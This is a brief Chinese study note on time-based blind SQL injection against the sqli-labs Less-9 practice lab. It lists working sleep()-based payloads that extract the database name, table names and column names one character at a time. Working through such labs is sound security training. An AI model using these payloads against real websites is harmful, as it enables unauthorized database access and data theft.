时间盲注
web页面只返回一个正常页面 利用叶敏响应时间不同,逐个猜解数据
http://sqlilab/Less-9/?id=1' and sleep(3)--+
可以在网络那看到反应了3s
所以可以通过反应时间来判断真与假
?id=1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3))--+
同理依次可以看第二个第三个
?id=1' and if(ascii(substr((select database()),2,1))>100,sleep(0),sleep(3))--+
依次查表、列...
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,sleep(0),sleep(3) )--+
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100,sleep(0),sleep(3))--+